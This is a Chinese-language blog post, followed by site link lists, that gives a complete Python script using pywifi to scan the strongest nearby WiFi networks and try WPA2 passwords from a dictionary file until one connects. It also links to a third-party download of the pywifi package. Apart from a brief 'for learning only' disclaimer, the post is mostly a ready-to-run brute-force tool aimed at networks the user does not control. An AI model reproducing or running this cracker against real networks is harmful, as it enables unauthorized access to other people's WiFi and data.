Python利用字典破解WIFI密码的方法


Posted in Python onFebruary 27, 2019

最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5

既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。

有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。

链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

本地安装方法:

1)下载解压好以后,我们用cmd命令行,进入到你的文件目录

2)使用命令pip install . 注意了(install后面有个点) 

3)然后就会安装了,等一会就可以了。

程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。

import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.scan()
  time.sleep(8) 
  bessis = ifaces.scan_results()
  list = []  
  for data in bessis:
    if(data.ssid not in namelist): #去掉重复的WIFI名称
      namelist.append(data.ssid)
      list.append((data.ssid, data.signal))  
  sorted(list, key=lambda st: st[1], reverse=True)
  time.sleep(1)
  n=0
  if len(list) is not 0:
    for item in list:
      if(item[0] not in ssidlist):
        n=n+1
        if n<=wificount:
          ssidlist.append(item[0])
  print(ssidlist)
def testwifi(ssidname,password):
  wifi=pywifi.PyWiFi()#抓取网卡接口
  ifaces=wifi.interfaces()[0]#获取网卡
  ifaces.disconnect()#断开无限网卡连接
  profile=pywifi.Profile()#创建wifi连接文件
  profile.ssid=ssidname#定义wifissid
  profile.auth=const.AUTH_ALG_OPEN#网卡的开放
  profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
  profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
  profile.key=password #wifi密码
  ifaces.remove_all_network_profiles()#删除其他所有配置文件
  tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
  ifaces.connect(tmp_profile)#连接wifi
  time.sleep(5)#5秒内能否连接上
  if ifaces.status()==const.IFACE_CONNECTED:   
    return True    
  else:
    #print("[-]WiFi connection failure!")
    return False
  #ifaces.disconnect()#断开连接
  #time.sleep(1)
  return True
def main():
  getwifi() 
  #ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
  if(len(ssidlist) is not 0):
    path=r"password.txt"
    files=open(path,'r')
    while True:
        if(len(ssidlist) is 0):
          break
        try:
          password =files.readline()
          password=password.strip('\n')
          if not password:
            break
          for item in result: #把已经找到密码的WIFI从查询中删除。
            ssidlist.remove(item[0])
          for ssidname in ssidlist:           
            if(testwifi(ssidname,password)==True):
              result.append((ssidname,password)) #把找到的WIFI密码保存起来
              print('Succ','Current WifiName:',ssidname,'Current Password:',password)
            else:
              print('Fail','Current WifiName:',ssidname,'Current Password:',password)
        except:
          continue
    files.close()
    print("\n","WIFI结果列表:")
    for item in result: #把已经找到密码的WIFI从查询中删除。
      print("")
      print("无线:",item[0])
      print("密码:",item[1])
  else:
    print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
  main()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
自己编程中遇到的Python错误和解决方法汇总整理
Jun 03 Python
Python语言实现百度语音识别API的使用实例
Dec 13 Python
Python中三元表达式的几种写法介绍
Mar 04 Python
使用Python操作FTP实现上传和下载的方法
Apr 01 Python
PyQt5 QTableView设置某一列不可编辑的方法
Jun 25 Python
python实现连连看辅助之图像识别延伸
Jul 17 Python
基于Python 中函数的 收集参数 机制
Dec 21 Python
关于Tensorflow使用CPU报错的解决方式
Feb 05 Python
python GUI库图形界面开发之PyQt5日期时间控件QDateTimeEdit详细使用方法与实例
Feb 27 Python
Python性能测试工具Locust安装及使用
Dec 01 Python
如何使用Python进行PDF图片识别OCR
Jan 22 Python
python - asyncio异步编程
Apr 06 Python
pyside+pyqt实现鼠标右键菜单功能
Dec 08 #Python
基于PyQt4和PySide实现输入对话框效果
Feb 27 #Python
python使用PyQt5的简单方法
Feb 27 #Python
Python创建字典的八种方式
Feb 27 #Python
基于wxPython的GUI实现输入对话框(2)
Feb 27 #Python
基于wxPython的GUI实现输入对话框(1)
Feb 27 #Python
Python使用字典的嵌套功能详解
Feb 27 #Python
You might like
php实现将上传word文件转为html的方法
2015/06/03 PHP
php文件上传你必须知道的几点
2015/10/20 PHP
WordPress中获取指定分类及其子分类下的文章数目
2015/12/31 PHP
完美解决phpexcel导出到xls文件出现乱码的问题
2016/10/29 PHP
PHP实现的获取文件mimes类型工具类示例
2018/04/08 PHP
JQuery 图片延迟加载并等比缩放插件
2009/11/09 Javascript
JQuery实现可直接编辑的表格
2015/04/16 Javascript
AngularJS基础 ng-mouseenter 指令示例代码
2016/08/02 Javascript
BootStrap实现手机端轮播图左右滑动事件
2016/10/13 Javascript
很棒的一组js图片轮播特效
2017/01/12 Javascript
js中编码函数:escape,encodeURI与encodeURIComponent详解
2017/03/21 Javascript
详解http访问解析流程原理
2017/10/18 Javascript
jQuery图片查看插件Magnify开发详解
2017/12/25 jQuery
js实现上传并压缩图片效果
2018/01/10 Javascript
vue自定义tap指令及tap事件的实现
2018/09/18 Javascript
javascript匿名函数中的'return function()'作用
2018/10/15 Javascript
Vue全局loading及错误提示的思路与实现
2019/08/09 Javascript
Vue 监听元素前后变化值实例
2020/07/29 Javascript
Javascript如何递归遍历本地文件夹
2020/08/06 Javascript
在antd中setFieldsValue和defaultVal的用法
2020/10/29 Javascript
Python with用法实例
2015/04/14 Python
python中self原理实例分析
2015/04/30 Python
使用简单工厂模式来进行Python的设计模式编程
2016/03/01 Python
详解opencv Python特征检测及K-最近邻匹配
2019/01/21 Python
Python实现微信翻译机器人的方法
2019/08/13 Python
Python可变对象与不可变对象原理解析
2020/02/25 Python
基于keras中的回调函数用法说明
2020/06/17 Python
html5 外链式实现加减乘除的代码
2019/09/04 HTML / CSS
欧舒丹美国官网:L’Occitane美国
2018/02/23 全球购物
C#怎么让一个窗口居中显示?
2015/10/20 面试题
党员自我评价分享
2013/12/13 职场文书
小学三年级学生评语
2014/04/22 职场文书
责任书格式范文
2014/07/28 职场文书
个人授权委托书格式
2014/08/30 职场文书
乡镇机关党员民主评议表自我评价
2014/09/21 职场文书
诚信考试承诺书范文
2015/04/29 职场文书